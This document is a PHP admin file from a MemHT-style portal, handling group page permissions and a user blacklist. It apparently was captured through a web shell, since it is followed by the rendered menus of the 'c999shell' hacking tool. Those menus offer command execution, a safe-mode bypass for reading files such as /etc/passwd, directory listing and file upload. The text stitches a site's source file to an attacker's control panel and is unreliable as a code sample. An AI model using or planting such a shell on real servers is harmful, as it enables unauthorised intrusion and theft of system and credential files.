"<option value=''>-- "._PAGES_." --</option>\n";
                        
$result $dblink->get_list("SELECT * FROM memht_pagine ORDER BY titolo");
                        foreach (
$result as $row) {
                            
$name outCode($row['nome']);
                            
$title outCode($row['titolo']);
                            
                            if (
$gpage==$name) {
                                echo 
"<option value='$name' selected>$title</option>\n";
                            } else {
                                echo 
"<option value='$name'>$title</option>\n";
                            }
                        }
                        
                        if (
$siteConfig['virtualpages']==1) {
                            echo 
"<option value='' style='font-weight:bold;'>-- "._VIRTUAL_PAGES_." --</option>\n";
                            if (
$nav_res_vp $dblink->get_list("SELECT name,title FROM memht_virtualpages ORDER BY title")) {
                                foreach (
$nav_res_vp as $nav_row_vp) {
                                    
$name outCode($nav_row_vp['name']);
                                    
$title outCode($nav_row_vp['title']);
                                    
                                    if (
$gpage==$name) {
                                        echo 
"<option value='$name' selected>$title</option>\n";
                                    } else {
                                        echo 
"<option value='$name'>$title</option>\n";
                                    }
                                }
                            } else {
                                echo 
"<option value=''>"._EMPTY_."</option>\n";
                            }
                        }
                        
                        echo 
"</select></td></tr>\n";
                    echo 
"<tr><td><b>"._GROUP_."</b></td><td><select name='ggroup'>";
                        echo 
"<option value='' selected>-- "._GROUPS_." --</option>\n";
                        
$result $dblink->get_list("SELECT * FROM memht_groups ORDER BY name");
                        foreach (
$result as $row) {
                            
$gid intval($row['id']);
                            
$gname outCode($row['name']);
                            
                            if (
$ggroup==$gid) {
                                echo 
"<option value='$gid' selected>$gname</option>\n";
                            } else {
                                echo 
"<option value='$gid'>$gname</option>\n";
                            }
                        }
                        echo 
"</select></td></tr>\n";
                    echo 
"<tr><td colspan='2'><input type='submit' name='Submit' value='"._MODIFY_."'>\n";
                echo 
"</form>\n";
                echo 
"</table>\n";
            } else {
                
$save true;
                if (isset(
$_POST['gpage']) AND $_POST['gpage']!="") { $gpage inCode($_POST['gpage']);} else { $save false; }
                if (isset(
$_POST['ggroup']) AND $_POST['ggroup']!="") { $ggroup intval($_POST['ggroup']); } else { $save false; }
                
                if (
$save) {
                    
$dblink->query("UPDATE memht_groups_pages SET groupid='$ggroup',page='$gpage' WHERE id='$id'");
                    echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=groups&op=managePages'>";
                } else {
                    echo 
"<div align='center' id='errorText'><b>"._FIELDINVALID_."</b></div>";
                }
            }
        break;
        
        case 
"deletePage":
            if (
$ok) {
                
$dblink->query("DELETE FROM memht_groups_pages WHERE id='$id'");
                echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=groups&op=managePages'>";        
            } else {
                echo 
"<div align='center'><b>"._SUREDELETEPAGE_."</b><br><a href='admin.php?page=groups&op=managePages&subop=deletePage&id=$id&ok=true' title='"._YES_."'>"._YES_."</a> - <a href='admin.php?page=groups&op=managePages' title='"._NO_."'>"._NO_."</a></div>";
            }
        break;
    }
}

function 
blackList($id,$subop,$ok=false) {
    global 
$dblink;
    
$id intval($id);
    
    
openTable();
        echo 
"<div align='center' class='box'>";
            echo 
"<a href='admin.php?page=groups&op=blackList' title='"._LIST_."'><img src='admin/icons/list.png' border='0' title='"._LIST_."' align='top'> "._LIST_."</a>";
            echo 
" - <a href='admin.php?page=groups&op=blackList&subop=addUser' title='"._ADD_."'><img src='admin/icons/add.png' border='0' title='"._ADD_."' align='top'> "._ADD_."</a>";
        echo 
"</div>";
    
closeTable();
    
    switch(
$subop) {
        case 
"getList":
        default:
            
$n 0;
            echo 
"<table width='100%' align='center' cellspacing='1' cellpadding='0' class='std_nicetable'>\n";
            echo 
"<thead>\n";
            echo 
"<tr><td>"._USER_."</td><td width='1%'>&nbsp;</td></tr>\n";
            echo 
"</thead>\n";
            echo 
"<tbody>\n";
            if (
$result $dblink->get_list("SELECT b.*,u.user AS username,u.id AS uid FROM memht_groups_blacklist AS b JOIN memht_utenti AS u ON b.user=u.id ORDER BY b.user")) {
                foreach (
$result as $row) {
                    
$pid intval($row['id']);
                    
$uid intval($row['uid']);
                    
$puser outCode($row['username']);
    
                    
$class = (($n++%2)!=0) ? "hlight" "clean" ;
                    echo 
"<tr><td class='$class'><a href='index.php?page=users&op=userInfo&uid=$uid' title='$puser'><b>$puser</b></a></td><td class='$class' align='right' nowrap><a href='admin.php?page=groups&op=blackList&subop=editUser&id=$pid' title='"._MODIFY_."'><img src='images/edit.gif' alt='Edit' border='0'></a> <a href='admin.php?page=groups&op=blackList&subop=deleteUser&id=$pid' title='"._DELETE_."'><img src='images/delete.gif' alt='Delete' border='0'></a></td></tr>\n";
                }
            } else {
                echo 
"<tr><td colspan='2' id='errorText' align='center' class='clean'><b>"._EMPTY_."</b></td></tr>\n";
            }
            echo 
"</tbody>\n";
            echo 
"</table>\n";
        break;
        
        case 
"addUser":
            if (!
$ok) {
                echo 
"<table width='100%' align='center' cellspacing='0' cellpadding='1'>";
                echo 
"<form name='addblk' method='post' action='admin.php?page=groups&op=blackList&subop=addUser&ok=true'>";
                    echo 
"<tr><td width='25%'><b>"._USERNAME_."</b></td><td><input type='text' name='user' size='30' maxlength='255'> <input type='button' value='"._FIND_."' onClick=\"openPopup('inc/popwin/finduser.php?form=addblk&element=user&username='+document.forms['addblk'].elements['user'].value+'','350','400');\"></td></tr>\n";
                    echo 
"<tr><td colspan='2'><input type='submit' name='Submit' value='"._ADD_."'>\n";
                echo 
"</form>\n";
                echo 
"</table>\n";
            } else {
                
$save true;
                if (isset(
$_POST['user']) AND $_POST['user']!="") { $puser inCode($_POST['user']);} else { $save false$msg _USERNAME_MISSING_; }
                if (!
$row $dblink->get_row("SELECT id FROM memht_utenti WHERE user='$puser'")) { $save false$msg _USERNOTFOUND_; }
        
                if (
$save) {
                    
$uid intval($row['id']);
                    
$dblink->query("INSERT INTO memht_groups_blacklist (user) VALUES ('$uid')");
                    echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=groups&op=blackList'>";
                } else {
                    echo 
"<div align='center' id='errorText'><b>$msg</b></div>";
                }
            }
        break;
        
        case 
"editUser":
            if (!
$ok) {
                
$row $dblink->get_row("SELECT b.*,u.user AS username FROM memht_groups_blacklist AS b JOIN memht_utenti AS u ON b.user=u.id WHERE b.id=$id");
                
$puser outCode($row['username']);
            
                echo 
"<table width='100%' align='center' cellspacing='0' cellpadding='1'>";
                echo 
"<form name='editblk' method='post' action='admin.php?page=groups&op=blackList&subop=editUser&id=$id&ok=true'>";
                    echo 
"<tr><td width='25%'><b>"._USERNAME_."</b></td><td><input type='text' name='user' value=\"$puser\" size='30' maxlength='255'> <input type='button' value='"._FIND_."' onClick=\"openPopup('inc/popwin/finduser.php?form=editblk&element=user&username='+document.forms['editblk'].elements['user'].value+'','350','400');\"></td></tr>\n";
                    echo 
"<tr><td colspan='2'><input type='submit' name='Submit' value='"._MODIFY_."'>\n";
                echo 
"</form>\n";
                echo 
"</table>\n";
            } else {
                
$save true;
                if (isset(
$_POST['user']) AND $_POST['user']!="") { $puser inCode($_POST['user']);} else { $save false$msg _USERNAME_MISSING_; }
                if (!
$row $dblink->get_row("SELECT id FROM memht_utenti WHERE user='$puser'")) { $save false$msg _USERNOTFOUND_; }
        
                if (
$save) {
                    
$uid intval($row['id']);
                    
$dblink->query("UPDATE memht_groups_blacklist SET user='$uid' WHERE id=$id");
                    echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=groups&op=blackList'>";
                } else {
                    echo 
"<div align='center' id='errorText'><b>$msg</b></div>";
                }
            }
        break;
        
        case 
"deleteUser":
            if (
$ok) {
                
$dblink->query("DELETE FROM memht_groups_blacklist WHERE id='$id'");
                echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=groups&op=blackList'>";        
            } else {
                echo 
"<div align='center'><b>"._SUREDELETE_."</b><br><a href='admin.php?page=groups&op=blackList&subop=deleteUser&id=$id&ok=true' title='"._YES_."'>"._YES_."</a> - <a href='admin.php?page=groups&op=blackList' title='"._NO_."'>"._NO_."</a></div>";
            }
        break;
    }
}

require_once(
"admin/inc/inc_header.php");
    
admin_page_title($page);
                    
    
openTable();
        echo 
"<div align='center' class='box'>";
            echo 
"<a href='admin.php?page=groups' title='"._LIST_."'><img src='admin/icons/list.png' border='0' title='"._LIST_."' align='top'> "._LIST_."</a>";
            echo 
" - <a href='admin.php?page=groups&op=addGroup' title='"._ADD_GROUP_."'><img src='admin/icons/add.png' border='0' title='"._ADD_GROUP_."' align='top'> "._ADD_GROUP_."</a>";
            echo 
" - <a href='admin.php?page=groups&op=addMember' title='"._ADD_MEMBER_."'><img src='admin/icons/add.png' border='0' title='"._ADD_MEMBER_."' align='top'> "._ADD_MEMBER_."</a>";
            echo 
" - <a href='admin.php?page=groups&op=newMembers' title='"._NEW_MEMBERS_."'><img src='admin/icons/users.png' border='0' title='"._NEW_MEMBERS_."' align='top'> "._NEW_MEMBERS_."</a>";
            echo 
" - <a href='admin.php?page=groups&op=blackList' title='"._BLACKLIST_."'><img src='admin/icons/users_red.png' border='0' title='"._BLACKLIST_."' align='top'> "._BLACKLIST_."</a>";
            echo 
" - <a href='admin.php?page=groups&op=managePages' title='"._MANAGE_PAGES_."'><img src='admin/icons/pages.png' border='0' title='"._MANAGE_PAGES_."' align='top'> "._MANAGE_PAGES_."</a>";
        echo 
"</div>";
    
closeTable();
    
    
openTable();
    
        switch(
$op) {
            case 
"showGroups":
            default:
                
groupList($ofsbgn,$ofsppg,$pg);
            break;
        
            case 
"addGroup":
                
addGroup($ok);
            break;
            
            case 
"editGroup":
                
editGroup($id,$ok);
            break;
            
            case 
"showGroup":
                
showGroup($id,$ofsbgn,$ofsppg,$pg);
            break;
            
            case 
"addMember":
                
addMember($ok);
            break;
            
            case 
"editMember":
                
editMember($id,$ok);
            break;
            
            case 
"deleteMember":
                
deleteMember($id,$ok);
            break;
            
            case 
"deleteGroup":
                
deleteGroup($id,$ok);
            break;
            
            case 
"newMembers":
                
newMembers($ofsbgn,$ofsppg,$pg);
            break;
            
            case 
"managePages":
                
managePages($id,$subop,$ok);
            break;
            
            case 
"blackList":
                
blackList($id,$subop,$ok);
            break;
        }
    
    
closeTable();
require_once(
"admin/inc/inc_footer.php");

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0211 ]--